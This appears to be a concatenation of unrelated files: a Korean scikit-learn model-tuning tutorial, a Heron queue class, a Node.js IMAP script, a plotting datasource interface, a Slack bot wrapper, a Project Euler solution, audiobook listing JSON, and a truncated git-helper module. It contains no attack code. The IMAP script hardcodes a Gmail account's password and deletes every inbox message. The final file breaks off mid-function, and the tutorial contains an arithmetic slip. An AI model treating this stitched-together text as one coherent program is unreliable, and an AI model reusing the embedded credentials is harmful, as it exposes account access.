# 훈련중인 모델의 성능을 측정한다.
#
# 측정값은 높을 수록 좋은 성능으로 평가되기에 회귀 모델의 경우
# 일반적으로 RMSE의 음숫값을 사용한다.
# 이를 위해 `scoring="neg_mean_squared_error"` 키워드 인자를 사용한다.
#
# 아래 코드는 10 개의 폴드를 사용(`cv=10`)하여 결정트리 회귀 모델에 대한 교차 검증을 진행하고 평가한다.
#
# ```python
# tree_rmses = -cross_val_score(tree_reg, housing, housing_labels,
# scoring="neg_root_mean_squared_error", cv=10)
# ```
# :::{admonition} `scoring` 키워드 인자
# :class: info
#
# 교차 검증에 사용되는 모델의 종류에 따라 다양한 방식으로 모델의 성능을 측정할 수 있으며
# `scoring` 키워드 인자를 이용하여 지정한다.
# 현재 사용 가능한 옵션값은 [사이킷런의 Metrics and Scoring 문서](https://scikit-learn.org/stable/modules/model_evaluation.html)에서
# 확인할 수 있다.
# :::
# **랜덤 포레스트 회귀 모델 ({numref}`%s장 <ch:ensemble>`)**
#
# **랜덤 포레스트**<font size="2">random forest</font> 회귀 모델은
# 여러 개의 결정트리를 동시에 훈련시킨 후
# 각 모델의 예측값의 평균값 등을 이용하는 모델이다.
# 각 모델은 교차 검증처럼 서로 다른 훈련셋을 대상으로 학습한다.
#
# 사이킷런의 `RandomForestRegressor` 모델은 기본값으로 100개의 결정트리를 동시에 훈련시킨다.
#
# ```python
# forest_reg = make_pipeline(preprocessing,
# RandomForestRegressor(n_estimators=100, random_state=42))
# ```
#
# 래덤 포레스트 모델에 대한 교차 검증을 적용하면 폴드 수에 비례하여 훈련 시간이 더 오래 걸린다.
#
# ```python
# forest_rmses = -cross_val_score(forest_reg, housing, housing_labels,
# scoring="neg_root_mean_squared_error", cv=10)
# ```
# ## 모델 튜닝
# 지금까지 살펴 본 모델 중에서 랜덤 포레스트 회귀 모델의 성능이 가장 좋았다.
# 이렇게 가능성이 높은 모델을 찾은 다음엔 모델의 세부 설정(하이퍼파라미터)을 조정하거나
# 성능이 좋은 모델 여러 개를 이용하여 모델의 성능을 최대한 끌어올릴 수 있다.
#
# 모델 튜닝은 보통 다음 두 가지 방식을 사용한다.
#
# * 그리드 탐색
# * 랜덤 탐색
# ### 그리드 탐색
# 지정된 하이퍼파라미터의 모든 조합에 대해 교차 검증을 진행하여 최선의 하이퍼파라미터 조합을 찾는다.
# **`GridSearchCV` 클래스**
#
# 랜덤 포레스트 모델을 대상으로 그리드 탐색을 다음과 같이 실행하면
# 총 (3x3 + 2x3 = 15) 가지의 모델의 성능을 확인한다.
# 또한 3-겹 교차 검증(`cv=3`)을 진행하기에 모델 훈련을 총 45(=15x3)번 진행한다.
#
# ```python
# full_pipeline = Pipeline([
# ("preprocessing", preprocessing),
# ("random_forest", RandomForestRegressor(random_state=42)),
# ])
#
# param_grid = [
# {'preprocessing__geo__n_clusters': [5, 8, 10],
# 'random_forest__max_features': [4, 6, 8]},
# {'preprocessing__geo__n_clusters': [10, 15],
# 'random_forest__max_features': [6, 8, 10]},
# ]
#
# grid_search = GridSearchCV(full_pipeline, param_grid, cv=3,
# scoring='neg_root_mean_squared_error')
#
# grid_search.fit(housing, housing_labels)
# ```
# ### 랜덤 탐색
# 그리드 탐색은 적은 수의 조합을 실험해볼 때만 유용하다.
# 반면에 하이퍼파라미터의 탐색 공간이 크면 랜덤 탐색이 보다 유용하다.
# 랜덤 탐색은 하이퍼라라미터 조합을 임의로 지정된 횟수만큼 진행한다.
# **`RandomizedSearchCV` 클래스**
#
# 아래 코드는 다음 두 하이퍼파라미터를 대상으로
# 10번(`n_iter=10`) 지정된 구간 내에서 무작위 선택을 진행한다.
#
# - `preprocessing__geo__n_clusters`
# - `random_forest__max_features`
#
# 또한 3-겹 교차검증(`cv=3`)을 진행하기에 모델 훈련을 총 30(=10x30)번 진행한다.
#
# ```python
# param_distribs = {'preprocessing__geo__n_clusters': randint(low=3, high=50),
# 'random_forest__max_features': randint(low=2, high=20)}
#
# rnd_search = RandomizedSearchCV(
# full_pipeline, param_distributions=param_distribs, n_iter=10, cv=3,
# scoring='neg_root_mean_squared_error', random_state=42)
#
# rnd_search.fit(housing, housing_labels)
# ```
# ### 앙상블 기법
# 결정트리 모델 하나보다 랜덤 포레스트처럼 여러 모델을 활용하는 모델이
# 일반적으로 보다 좋은 성능을 낸다.
# 이처럼 좋은 성능을 내는 여러 모델을 **함께**<font size="2">ensemble</font>
# 학습시킨 후 평균값을 사용하면 보다 좋은 성능을 내는 모델을 얻게 된다.
# 앙상블 기법에 대해서는 {numref}`%s장 <ch:ensemble>`에서 자세히 다룬다.
# ### 훈련된 최선의 모델 활용
# 그리드 탐색 또는 랜덤 탐색을 통해 얻어진 최선의 모델을 분석해서 문제에 대한 통찰을 얻을 수 있다.
#
# 예를 들어, 최선의 랜덤 포레스트 모델로부터 타깃 예측에 사용된 특성들의 상대적 중요도를 확인하여
# 중요하지 않은 특성을 제외할 수 있다.
#
# 캘리포니아 주택 가격 예측 모델의 경우 랜덤 탐색을 통해 찾아낸 최선의 모델에서
# `feature_importances_`를 확인하면 다음 정보를 얻는다.
#
# - `log__median_income` 특성이 가장 중요하다.
# - 해안 근접도 특성 중에서 `INLAND` 특성만 중요하다.
# ```python
# final_model = rnd_search.best_estimator_ # 최선 모델
# feature_importances = final_model["random_forest"].feature_importances_ # 특성뱔 상대적 중요도
#
# # 중요도 내림차순 정렬
# sorted(zip(feature_importances,
# final_model["preprocessing"].get_feature_names_out()),
# reverse=True)
#
# [(0.18694559869103852, 'log__median_income'),
# (0.0748194905715524, 'cat__ocean_proximity_INLAND'),
# (0.06926417748515576, 'bedrooms_ratio__bedrooms_ratio'),
# (0.05446998753775219, 'rooms_per_house__rooms_per_house'),
# (0.05262301809680712, 'people_per_house__people_per_house'),
# (0.03819415873915732, 'geo__Cluster 0 similarity'),
# [...]
# (0.00015061247730531558, 'cat__ocean_proximity_NEAR BAY'),
# (7.301686597099842e-05, 'cat__ocean_proximity_ISLAND')]
# ```
# ## 최선 모델 저장 및 활용
# 완성된 모델은 항상 저장해두어야 한다.
# 업데이트된 모델이 적절하지 않은 경우 이전 모델로 되돌려야 할 수도 있기 때문이다.
# 모델의 저장과 불러오기는 `joblib` 모듈을 활용한다.
#
# - 저장하기
#
# ```python
# joblib.dump(final_model, "my_california_housing_model.pkl")
# ```
# - 불러오기
#
# ```python
# final_model_reloaded = joblib.load("my_california_housing_model.pkl")
# ```
# ## 연습문제
# 참고: [(실습) 머신러닝 프로젝트 처음부터 끝까지 1부](https://colab.research.google.com/github/codingalzi/handson-ml3/blob/master/practices/practice_end2end_ml_project_1.ipynb) 와
# [(실습) 머신러닝 프로젝트 처음부터 끝까지 2부](https://colab.research.google.com/github/codingalzi/handson-ml3/blob/master/practices/practice_end2end_ml_project_2.ipynb)
|
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
'''communicator.py: module responsible for communication between Python heron modules'''
import sys
import Queue
from heron.common.src.python.utils.log import Log
class HeronCommunicator(object):
"""HeronCommunicator: a wrapper class for non-blocking queue in Heron.
Note that this class does not yet implement the dynamic tuning of expected available capacity,
as it is not necessary for single thread instance.
"""
def __init__(self, producer_cb=None, consumer_cb=None):
"""Initialize HeronCommunicator
:param producer_cb: Callback function to be called (usually on producer thread)
when ``poll()`` is called by the consumer. Default ``None``
:param consumer_cb: Callback function to be called (usually on consumer thread)
when ``offer()`` is called by the producer. Default ``None``
"""
self._producer_callback = producer_cb
self._consumer_callback = consumer_cb
self._buffer = Queue.Queue()
self.capacity = sys.maxsize
def register_capacity(self, capacity):
"""Registers the capacity of this communicator
By default, the capacity of HeronCommunicator is set to be ``sys.maxsize``
"""
self.capacity = capacity
def get_available_capacity(self):
return max(self.capacity - self.get_size(), 0)
def get_size(self):
"""Returns the size of the buffer"""
return self._buffer.qsize()
def is_empty(self):
"""Returns whether the buffer is empty"""
return self._buffer.empty()
def poll(self):
"""Poll from the buffer
It is a non-blocking operation, and when the buffer is empty, it raises Queue.Empty exception
"""
try:
# non-blocking
ret = self._buffer.get(block=False)
if self._producer_callback is not None:
self._producer_callback()
return ret
except Queue.Empty:
Log.debug("%s: Empty in poll()" % str(self))
raise Queue.Empty
def offer(self, item):
"""Offer to the buffer
It is a non-blocking operation, and when the buffer is full, it raises Queue.Full exception
"""
try:
# non-blocking
self._buffer.put(item, block=False)
if self._consumer_callback is not None:
self._consumer_callback()
return True
except Queue.Full:
Log.debug("%s: Full in offer()" % str(self))
raise Queue.Full
def clear(self):
"""Clear the buffer"""
while not self.is_empty():
self.poll()
def __str__(self):
return "HeronCommunicator"
|
var inbox = require(".."),
util = require("util");
var client = inbox.createConnection(false, "imap.gmail.com", {
secureConnection: true,
auth:{
user: "test.nodemailer@gmail.com",
pass: "Nodemailer123"
},
debug: true
});
client.connect();
client.on("connect", function(){
client.openMailbox("INBOX", function(error, mailbox){
if(error) throw error;
client.listMessages(-1, function(error, messages){
messages.forEach(function(message){
console.log("Message")
console.log(message);
client.deleteMessage(message.UID, function(error){
console.log(arguments);
});
});
});
});
});
|
"""
Null datasource. Also the _interface specification_ provided to all
dataoutputs. The null DataSource class should be used as a base class for all
other DataSources.
"""
from logan.datasource import DataPoint
def register_arguments(logan_config):
"""
Interface function.
When module is loaded, this function is called by the main module,
allowing this module to register its own command-line arguments.
@type logan_config: LoganConfig
"""
logan_config.add_argument("-S", "--dsrc-path", metavar="SRCPATH", type=str,
dest="dsrc_paths", default=["rawdata"], nargs="+",
help="Paths to source data, passed to datasource; multiple paths will only be used if supported by datasource used. [Default:rawdata]")
logan_config.add_argument("-g", "--dsrc-gen-data",
action="count", dest="dsrc_gen_data", default=0,
help="Generate the source data first; specify multiple times to generate multiple times.")
logan_config.add_argument("-G", "--dsrc-gen-data-only",
action="count", dest="dsrc_gen_data_only", default=0,
help="Exit after generation of source data (implies --dsrc-gen-data).")
logan_config.add_argument("-c", "--dsrc-cache-load",
action="store_true", dest="dsrc_cache_load", default=False,
help="Load processed data from cache, if available and supported by datasource.")
logan_config.add_argument("-C", "--dsrc-cache-save",
action="store_true", dest="dsrc_cache_save", default=False,
help="Save processed data to cache, if supported by datasource.")
logan_config.add_argument("-R", "--dsrc-raw-save",
action="store_true", dest="dsrc_raw_save", default=False,
help="Save intermediate raw data, if supported by datasource.")
logan_config.add_argument("--dsrc-compress", metavar="COMPRESS", type=str,
dest="dsrc_compress", default=None,
help="Specify compression scheme to compress uncompressed source data files, if supported by datasource.")
logan_config.add_argument("--dsrc-min-results", metavar="COUNT", type=int,
dest="dsrc_min_results", default=3,
help="Require a minimum of COUNT results, if supported by datasource. [Default: 3]")
logan_config.add_argument("--dsrc-max-results", metavar="COUNT", type=int,
dest="dsrc_max_results", default=0,
help="Require a maximum of COUNT results, if supported by datasource.")
logan_config.add_argument("--dsrc-ranges",
action="store_true", dest="dsrc_ranges", default=False,
help="Use data error/ranges, and pass to dataoutput.")
def get_description():
"""
Interface function. Used to query description.
"""
return ("Base/null datasource (does nothing).", None)
class DataSourceGenerator(object):
"""
Called to generate the data, usually by an external program, before
processing.
"""
def __init__(self, logan_config):
"""
@type logan_config: LoganConfig
"""
self.logan_config = logan_config
def __call__(self):
raise NotImplementedError("Base module does not support source data generation!")
class DataSource(object):
def __init__(self, logan_config):
"""
@type logan_config: LoganConfig
"""
self.logan_config = logan_config
def process(self):
"""
Interface function called to allow datasource to prepare data, before
being accessed by a dataoutput.
@rtype: boolean
@return: Success or not.
"""
return True
def map_to_name(self, key):
"""
Interface function. Map any key to a given name.
@type key: str
@key: Key which should be used to look up a mapping to a full name.
@rtype: str
@return: Mapped to string.
"""
return "null"
def get_dataset_keys(self):
"""
Interface function.
@return: List of keys to provide more than 1 dataset. None to ignore.
"""
return None
def get_presentation_hints(self, dataset):
"""
Interface function.
@return: dict containing hints to dataoutput how to interpret the data.
The understood strings by the dataoutput may vary.
"""
return {}
def get_description(self, dataset=None):
"""
Interface function.
@return: Short description of data as string. None to ignore.
"""
return None
def get_ylabel(self, dataset=None):
"""
Interface function.
@return: y-Axis label as string.
"""
return "null"
def get_xlabel(self, dataset=None):
"""
Interface function.
@return: x-Axis label as string.
"""
return "null"
def get_zlabel(self, dataset=None):
"""
Interface function.
@return: z-Axis label as string.
"""
return "null"
def get_yrange(self, dataset=None):
"""
Interface function.
Return displayed range on y-Axis. Return None to ignore.
@return: Range on the y-Axis, as (Min,Max) tuple.
"""
return None
def get_xtick_keys(self, dataset=None):
"""
Interface function.
@return: List of keys making up the x-Axis.
"""
return None
def get_ztick_keys(self, dataset=None):
"""
Interface function.
Return the keys for the z-Axis ticks. Return None if the data
source does not produce 3D data.
@return: List of keys making up the z-Axis (for 3D graphs).
"""
return None
def get_stack_keys(self, dataset=None):
"""
Interface function.
Returns the keys for stacking data. Return None if the data source
does not provide stacked data.
@return: List of keys used for data stacking
"""
return None
def get_cluster_keys(self, dataset=None):
"""
Interface function.
Returns the keys for displaying clustered data. Return None if the
data source does not provide clustered data.
@return: List of keys for clustered data.
"""
return None
def query_data(self, x, z=0, stack=None, cluster=None, dataset=None):
"""
Interface function.
@x: The x value/key used for the lookup.
@z: The z value/key used for the lookup.
@stack: The stack key used for the lookup.
@cluster: The cluster key used for the lookup.
@return: DataPoint
"""
return DataPoint(y=0)
def data(self):
"""
Interface function. Acts as a python-generator for all available data.
Yields a DataPoint until no more data is available. Contrary to
the query_data function, this can be used to generate smooth
curves. As the dataoutput would only know about the {x,z}-ticks from
get_{x,z}tick_keys, those would be the points queried by the
dataoutput. Using this generator, it is possible to define the ticks, but
generate data inbetween.
"""
yield DataPoint()
|
from functools import partial
import time
from slackclient import SlackClient
import threading
import logging
from typing import (
TYPE_CHECKING, List, Iterable, Optional, Generator, Any, Union, TypeVar, Dict, Type
)
if TYPE_CHECKING:
from uqcsbot.base import UQCSBot # noqa
T = TypeVar('T')
ChanT = TypeVar('ChanT', bound='Channel')
UserT = TypeVar('UserT', bound='User')
LOGGER = logging.getLogger(__name__)
class Paginator(Iterable[dict]):
"""
Provides synchronous and asynchronous iterators over the pages of responses
from a cursor-based paginated Slack
See https://api.slack.com/docs/pagination for details
"""
def __init__(self, client, method, **kwargs):
self._client = client
self._method = method
self._kwargs = kwargs
def _gen(self) -> Generator[dict, Any, None]:
kwargs = self._kwargs.copy()
while True:
page = self._client.api_call(self._method, **kwargs)
yield page
cursor = page.get('response_metadata', {}).get('next_cursor')
if not cursor:
break
kwargs["cursor"] = cursor
def __iter__(self):
return self._gen()
class APIMethodProxy(object):
"""
Helper class used to implement APIWrapper
"""
def __init__(self, client: SlackClient, method: str) -> None:
self._client = client
self._method = method
def __call__(self, **kwargs) -> dict:
"""
Perform the relevant API request. Equivalent to SlackClient.api_call
except the `method` argument is filled in.
Attempts to retry the API call if rate-limited.
"""
fn = partial(
self._client.api_call,
self._method,
**kwargs
)
retry_count = 0
while retry_count < 5:
result = fn()
if not result['ok'] and result['error'] == 'ratelimited':
retry_after_secs = int(result['headers']['Retry-After'])
LOGGER.info(f'Rate limited, retrying in {retry_after_secs} seconds')
time.sleep(retry_after_secs)
retry_count += 1
else:
break
else:
result = {'ok': False, 'error': 'Reached max rate-limiting retries'}
if not result['ok']:
LOGGER.error(f'Slack API error calling {self._method} with kwargs'
f' {kwargs}: {result["error"]}')
return result
def paginate(self, **kwargs) -> Paginator:
"""
Returns a `Paginator` which allows you to iterate over each page of
response data from a Slack response that is paginated in the
cursor-style.
Count/oldest/latest and page/count methods require manual pagination.
"""
return Paginator(self._client, self._method, **kwargs)
def __getattr__(self, item) -> 'APIMethodProxy':
"""
Gets another APIMethodProxy with the same configuration as the current
one, except the attribute that you tried to get is appended to the
method of the source APIMethodProxy, with a dot separating them.
For example,
> APIMethodProxy("chat").postMessage
is equivalent to
> APIMethodProxy("chat.postMessage")
"""
return APIMethodProxy(
client=self._client,
method=f'{self._method}.{item}',
)
class APIWrapper(object):
"""
Wraps the Slack API client to make it possible to use dotted methods. Can
perform API requests both synchronously and asynchronously.
Example usage:
> api = APIWrapper(client)
> api.chat.postMessage(channel="general", text="message")
"""
def __init__(self, client: SlackClient) -> None:
self._client = client
def __getattr__(self, item) -> APIMethodProxy:
return APIMethodProxy(
client=self._client,
method=item,
)
def __repr__(self) -> str:
return f"<APIWrapper of {repr(self._client)}>"
class Channel(object):
def __init__(
self,
bot: 'UQCSBot',
channel_id: str,
name: str,
is_group: bool = False,
is_im: bool = False,
is_public: bool = False,
is_private: bool = False,
is_archived: bool = False,
previous_names: List[str] = None
) -> None:
self._bot = bot
self.id = channel_id
self.name = name
self._member_ids = None # type: Optional[List[str]]
self.is_group = is_group
self.is_im = is_im
self.is_public = is_public
self.is_private = is_private
self.is_archived = is_archived
self.previous_names = previous_names or []
self._lock = threading.Lock()
def load_members(self):
if self._member_ids is not None:
# Quick exit without lock
return
with self._lock:
if self._member_ids is not None:
# Quick exit with lock
return
self._bot.logger.debug(f"Loading members for {self.name}<{self.id}>")
members_ids = [] # type: List[str]
for page in self._bot.api.conversations.members.paginate(channel=self.id):
members_ids += page.get("members", [])
self._member_ids = members_ids
@property
def members(self) -> List[str]:
if self._member_ids is None:
self.load_members()
return self._member_ids # type: ignore
@classmethod
def from_dict(cls: Type[ChanT], bot, chan_dict: dict) -> ChanT:
chan = cls(
bot=bot,
channel_id=chan_dict['id'],
name=chan_dict['name'],
is_group=chan_dict.get('is_group', False),
is_im=chan_dict.get('is_im', False),
is_public=chan_dict.get('is_public', False),
is_private=chan_dict.get('is_private', False),
is_archived=chan_dict.get('is_archived', False),
)
return chan
class ChannelWrapper(object):
def __init__(self, bot: 'UQCSBot') -> None:
self._bot = bot
self._initialised = False
self._channels_by_id = {} # type: Dict[str, Channel]
self._channels_by_name = {} # type: Dict[str, Channel]
self._lock = threading.RLock()
self._bind_handlers()
def _bind_handlers(self) -> None:
PREFIX = "_on_"
for name in dir(type(self)):
if not name.startswith(PREFIX):
continue
attr = getattr(self, name)
mtype = name[len(PREFIX):]
self._bot.on(mtype, attr)
def _add_channel(self, chan_dict: dict) -> Channel:
chan = Channel.from_dict(self._bot, chan_dict)
self._channels_by_name[chan.name] = chan
self._channels_by_id[chan.id] = chan
return chan
def _initialise(self):
with self._lock:
if self._initialised:
# Prevent double-calls after lock release
return
self._initialised = True
self._channels_by_id = {}
self._channels_by_name = {}
for page in self._bot.api.channels.list.paginate():
for chan in page['channels']:
self._add_channel(chan)
for group in self._bot.api.groups.list(exclude_members=True).get('groups', []):
self._add_channel(group)
# The ims cover the direct messages between the bot and users
for page in self._bot.api.im.list.paginate():
for im in page['ims']:
if im['is_user_deleted']:
continue
# Set the channel name to the user being directly messaged
# for easier reverse lookups. Note: `user` here is the
# user_id.
im['name'] = im['user']
self._add_channel(im)
self._initialised = True
def populate_from_team_state(self, data):
with self._lock:
self._initialised = True
self._channels_by_id = {}
self._channels_by_name = {}
loaded_so_far = 0
for ctype in ['channels', 'groups', 'ims']:
for chan in data[ctype]:
if ctype == 'ims':
# Set the channel name to the user being directly
# messaged for easier reverse lookups. Note: `user` here
# is the user_id.
chan['name'] = chan['user']
self._add_channel(chan)
self._bot.logger.info(
f"Loaded {len(self._channels_by_id) - loaded_so_far} {ctype} from team state"
)
loaded_so_far = len(self._channels_by_id)
def reload(self):
self._initialised = False
self._initialise()
def get(
self, name_or_id: str, default: Optional[T] = None, use_cache: bool =True
) -> Union[Channel, Optional[T]]:
if use_cache and not self._initialised:
self._initialise()
if name_or_id in self._channels_by_id:
return self._channels_by_id[name_or_id]
elif name_or_id in self._channels_by_name:
return self._channels_by_name[name_or_id]
elif not use_cache:
resp = self._bot.api.channels.info(channel=name_or_id)
if not resp.get('ok'):
return default
with self._lock:
return self._add_channel(resp['channel'])
else:
return default
def __iter__(self):
return iter(self._channels_by_id.values())
def _on_im_created(self, evt):
chan = evt['channel']
# Set the channel name to the user being directly messaged for easier
# reverse lookups. Note: `user` here is the user_id.
chan['name'] = evt['user']
self._add_channel(chan)
def _on_member_joined_channel(self, evt):
chan = self.get(evt['channel'])
# Load members if we haven't already before locking to prevent deadlock.
chan.load_members()
with chan._lock:
members = chan.members
user = evt['user']
if user not in members:
members.append(user)
def _on_member_left_channel(self, evt):
chan = self.get(evt['channel'])
# Load members if we haven't already before locking to prevent deadlock.
chan.load_members()
with chan._lock:
members = chan.members
user = evt['user']
if user in members:
members.remove(user)
def _on_channel_rename(self, evt):
with self._lock:
chan = self.get(evt['channel']['id'])
self._channels_by_name.pop(chan.name)
new_channel_name = evt['channel']['name']
chan.name = new_channel_name
self._channels_by_name[chan.name] = new_channel_name
def _on_channel_archive(self, evt):
chan = self.get(evt['channel'])
chan.is_archived = True
def _on_channel_unarchive(self, evt):
chan = self.get(evt['channel'])
chan.is_archived = False
def _on_channel_created(self, evt):
self._add_channel(evt["channel"])
def _on_channel_deleted(self, evt):
with self._lock:
chan = self.get(evt['channel']['id'])
self._channels_by_id.pop(chan.id)
self._channels_by_name.pop(chan.name)
def _on_group_rename(self, evt):
self._on_channel_rename(evt)
def _on_group_archive(self, evt):
self._on_channel_archive(evt)
def _on_group_unarchive(self, evt):
self._on_channel_unarchive(evt)
def _on_group_joined(self, evt):
self._on_channel_created(evt)
def _on_group_left(self, evt):
self._on_channel_deleted(evt)
class UsersWrapper(object):
def __init__(self, bot: 'UQCSBot') -> None:
self._bot = bot
self._empty_store()
self._lock = threading.RLock()
self._initialised: bool = False
self._bind_handlers()
def _empty_store(self):
self._users_by_id: Dict[str, User] = {}
def _add_user(self, data: dict):
user = User.from_dict(data)
self._users_by_id[user.user_id] = user
return user
def _initialise(self):
with self._lock:
if self._initialised:
# Fast exit for initialisation while waiting on lock
return
self._empty_store()
for page in self._bot.api.users.list.paginate():
for user in page['members']:
self._add_user(user)
def reload(self):
self._initialised = False
self._initialise()
def get(
self, user_id: str, default: Optional[T] = None, use_cache: bool =True
) -> Union['User', Optional[T]]:
if use_cache and not self._initialised:
self._initialise()
if user_id in self._users_by_id:
return self._users_by_id[user_id]
elif not use_cache:
resp = self._bot.api.users.info(user=user_id)
if not resp.get('ok'):
return default
with self._lock:
return self._add_user(resp['user'])
else:
return default
def populate_from_team_state(self, data_dict: dict):
with self._lock:
self._initialised = True
self._empty_store()
for user in data_dict['users']:
self._add_user(user)
self._bot.logger.info(f"Loaded {len(self._users_by_id)} users from team state")
def _bind_handlers(self) -> None:
PREFIX = "_on_"
for name in dir(type(self)):
if not name.startswith(PREFIX):
continue
attr = getattr(self, name)
mtype = name[len(PREFIX):]
self._bot.on(mtype, attr)
def _on_user_change(self, evt):
user = self._users_by_id[evt['user']['id']]
if user is not None:
user.update_from_dict(evt['user'])
else:
LOGGER.error("User change event for unknown user - adding")
with self._lock:
self._add_user(evt['user'])
def _on_team_join(self, evt):
with self._lock:
self._add_user(evt['user'])
class User(object):
def __init__(
self,
user_id: str,
deleted: bool,
is_admin: bool,
is_owner: bool,
is_bot: bool,
display_name: str,
real_name: str,
lock: Optional[threading.RLock] = None
) -> None:
self.user_id = user_id
self.deleted = deleted
self.is_admin = is_admin
self.is_owner = is_owner
self.is_bot = is_bot
self.display_name = display_name
self.real_name = real_name
if lock is None:
lock = threading.RLock()
self._lock = lock
@classmethod
def _parse_dict(self, data_dict: dict) -> dict:
return {
"user_id": data_dict['id'],
"deleted": data_dict.get('deleted', False),
"is_admin": data_dict.get('is_admin', False),
"is_owner": data_dict.get('is_owner', False),
"is_bot": data_dict.get('is_bot', False),
"display_name": data_dict.get('profile', {}).get('display_name'),
"real_name": data_dict.get('profile', {}).get('real_name'),
}
@classmethod
def from_dict(cls: Type[UserT], data: dict) -> UserT:
return cls(**cls._parse_dict(data))
def update_from_dict(self, data: dict) -> None:
# Sorry that this is kind of hacky. It dramatically reduces code
# duplication so I'm not that sorry.
with self._lock:
type(self).__init__(self, lock=self._lock, **self._parse_dict(data))
|
"""Solution to Project Euler Problem 8
https://projecteuler.net/problem=8
"""
from functools import reduce
from operator import mul
FILENAME = "resources/p008_number.txt"
SEGMENT_SIZE = 13
def compute(filename=FILENAME, segment_size=SEGMENT_SIZE):
"""Compute the largest product of `segment_size` adjacent digits in the
number given in the file `filename`.
"""
number = open(filename, 'r').read().strip()
segments = set(
number[index:index+segment_size] for index in range(len(number)-1)
)
products = tuple(
reduce(mul, tuple(int(digit) for digit in segment))
for segment in segments
)
return max(products)
|
window.peopleAlsoBoughtJSON = [{"asin":"B099SGDFBP","authors":"Richard Hanners","cover":"41kywdPsc3S","length":"12 hrs and 17 mins","narrators":"Sarina Hart","subHeading":"The Anaconda, Book 2","title":"A New Earth"},{"asin":"B09QH5X4LR","authors":"Michael Chatfield","cover":"41ijxAu3tdL","length":"17 hrs and 7 mins","narrators":"Neil Hellegers","subHeading":"The Ten Realms, Book 1","title":"The Two Week Curse: A LitRPG Fantasy Series"},{"asin":"B09K4K3486","authors":"TheFirstDefier, JF Brink","cover":"51H1QH+7ELL","length":"24 hrs and 34 mins","narrators":"Pavi Proczko","subHeading":"A LitRPG Adventure","title":"Defiance of the Fall 3"},{"asin":"1774248182","authors":"Shirtaloon, Travis Deverell","cover":"51K8lYxL12L","length":"28 hrs and 56 mins","narrators":"Heath Miller","subHeading":"He Who Fights with Monsters, Book 1","title":"He Who Fights with Monsters: A LitRPG Adventure"},{"asin":"B01N48VJFJ","authors":"Craig Alanson","cover":"51rLsWqI5-L","length":"16 hrs and 23 mins","narrators":"R.C. Bray","subHeading":"Expeditionary Force, Book 1","title":"Columbus Day"},{"asin":"B09HW5NYSY","authors":"J.N. Chaney, Terry Maggert","cover":"51AKmShxw5L","length":"12 hrs and 58 mins","narrators":"Jeffrey Kafer","subHeading":"Backyard Starship, Book 1","title":"Backyard Starship"},{"asin":"B09MDMD85Z","authors":"J.R. Mathews","cover":"619MPDZ1nlL","length":"20 hrs and 41 mins","narrators":"Travis Baldree","title":"Jake's Magical Market"},{"asin":"B08TKHX2M9","authors":"Jason Anspach, Nick Cole","cover":"51tuhCVYE3L","length":"18 hrs and 56 mins","narrators":"Christopher Ryan Grant","subHeading":"An Epic Military Fantasy Thriller","title":"Forgotten Ruin"},{"asin":"B09MV3QGR3","authors":"Glynn Stewart","cover":"51ajPQw6TnL","length":"12 hrs and 8 mins","narrators":"Eric Michael Summerer","subHeading":"The Dakotan Confederacy, Book 1","title":"Admiral's Oath"},{"asin":"B09JQ8C4X6","authors":"Dean Henegar","cover":"51k0FfVzSNL","length":"10 hrs and 49 mins","narrators":"Luke Daniels","subHeading":"A LitRPG Dungeon Core Adventure (War Core, Book 1)","title":"Hold the Line"},{"asin":"B086Q7VJ2Y","authors":"Bob Blanton","cover":"51-xXA0RB-L","length":"7 hrs and 36 mins","narrators":"Jessica Gurd","subHeading":"Delphi in Space, Book 1","title":"Starship Sakira"},{"asin":"B09PVNJBMM","authors":"Christopher Coates","cover":"51+6OSw7K2L","length":"8 hrs and 33 mins","narrators":"Jeremy Francis","title":"The Anvil"},{"asin":"B09CRFXXW6","authors":"Benjamin Kerei","cover":"517jV69zgRL","length":"17 hrs and 50 mins","narrators":"Travis Baldree","title":"Oh, Great! I Was Reincarnated as a Farmer"},{"asin":"B09C753M2P","authors":"Dean M. Cole","cover":"519WUPLNEkL","length":"16 hrs and 32 mins","narrators":"R.C. Bray","subHeading":"Multiverse Space, Book 1","title":"Magnitude"},{"asin":"B09K4M996M","authors":"Christopher G. Nuttall","cover":"51FFYsS7r8L","length":"12 hrs and 7 mins","narrators":"Jeffrey Kafer","subHeading":"Cast Adrift, Book 1","title":"Cast Adrift"},{"asin":"B097J12NZ2","authors":"Kyrell Kendrick","cover":"51d62NdmJ3S","length":"14 hrs and 25 mins","narrators":"Anthony Tuell","title":"Of Gods & Grunts"},{"asin":"1541439724","authors":"Nathan Hystad","cover":"51P4gAb8FLL","length":"9 hrs and 50 mins","narrators":"James Patrick Cronin","subHeading":"Baldwin’s Legacy, Book 1","title":"Confrontation"},{"asin":"1705231527","authors":"Andrew Karevik","cover":"51vXgRo1gZL","length":"7 hrs and 15 mins","narrators":"Neil Hellegers","subHeading":"Accidental Champion Series, Book 1","title":"CivCEO"}];
window.bookSummaryJSON = "<p>Twenty-four of the 23rd century’s best and brightest engineers and soldiers find themselves mysteriously transported to 1801 after their mining ship, <i>The Anaconda</i>, crosses a space-time warp in the Asteroid Belt. What will they do when they return to the New Earth - live in isolation on a Pacific Island, or put their God-like powers to work challenging Europe’s great empires on behalf of native peoples and slaves? Some believe history can be changed. Others think nudging civilization will only lead to disaster.</p>";
|
#!/usr/bin/env python3
import os
import subprocess
from typing import List, Optional
from common.basedir import BASEDIR
from selfdrive.swaglog import cloudlog
def run_cmd(cmd: List[str]) -> str:
return subprocess.check_output(cmd, encoding='utf8').strip()
def run_cmd_default(cmd: List[str], default: Optional[str] = None) -> Optional[str]:
try:
return run_cmd(cmd)
except subprocess.CalledProcessError:
return default
def get_git_commit(branch: str = "HEAD", default: Optional[str] = None) -> Optional[str]:
return run_cmd_default(["git", "rev-parse", branch], default=default)
def get_git_branch(default: Optional[str] = None) -> Optional[str]:
return run_cmd_default(["git", "rev-parse", "--abbrev-ref", "HEAD"], default=default)
def get_git_full_branchname(default: Optional[str] = None) -> Optional[str]:
